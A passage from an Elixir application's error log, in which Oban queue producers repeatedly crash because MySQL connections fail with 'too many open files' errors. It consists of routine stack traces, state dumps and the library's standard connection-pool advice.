    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:51:44.242583Z], limit: 50, uuid: "68c41e33-1f7c-4a60-b475-02f50444b622", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:44.242588Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84341>, refresh_timer: #Reference<0.2525715032.1068498948.84323>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:51:59.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:01.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:02.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:02.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:04.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:04.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:07.700000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:08.486000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:51:57.239886Z], limit: 3, uuid: "d1226326-de4b-421f-a9b8-f8b8feba49ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.239891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84658>, refresh_timer: #Reference<0.2525715032.1121189889.226715>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:51:57.238837Z], limit: 5, uuid: "6e15f3bd-d94c-4f0d-b674-4c46b2bb3be3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.238844Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84657>, refresh_timer: #Reference<0.2525715032.1121189889.226699>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:51:57.240602Z], limit: 5, uuid: "87346b36-70bf-47a5-84c0-5f1965fb02f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.240610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84659>, refresh_timer: #Reference<0.2525715032.1099431938.70620>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:51:57.240023Z], limit: 10, uuid: "c61fd0c8-97fa-4688-ab37-4374b6473a9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.240028Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59056>, refresh_timer: #Reference<0.2525715032.1077673987.59052>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:51:57.240049Z], limit: 20, uuid: "3f6144aa-9269-450e-a6bc-ed7bf3684f1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.240055Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59055>, refresh_timer: #Reference<0.2525715032.1077673987.59054>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:51:57.241099Z], limit: 50, uuid: "11d69908-bc4c-4314-af54-09e08dee400f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:51:57.241105Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.84660>, refresh_timer: #Reference<0.2525715032.1099431938.70624>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:12.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:13.434000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:20.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:52:09.240608Z], limit: 5, uuid: "b7b08d35-ccbc-4901-96c3-d404c1df492b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.240615Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85015>, refresh_timer: #Reference<0.2525715032.1068498948.84986>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:52:09.240114Z], limit: 5, uuid: "4c8c7159-1a69-453a-8bc7-5dda718cd8ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.240121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.226912>, refresh_timer: #Reference<0.2525715032.1068498948.84987>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
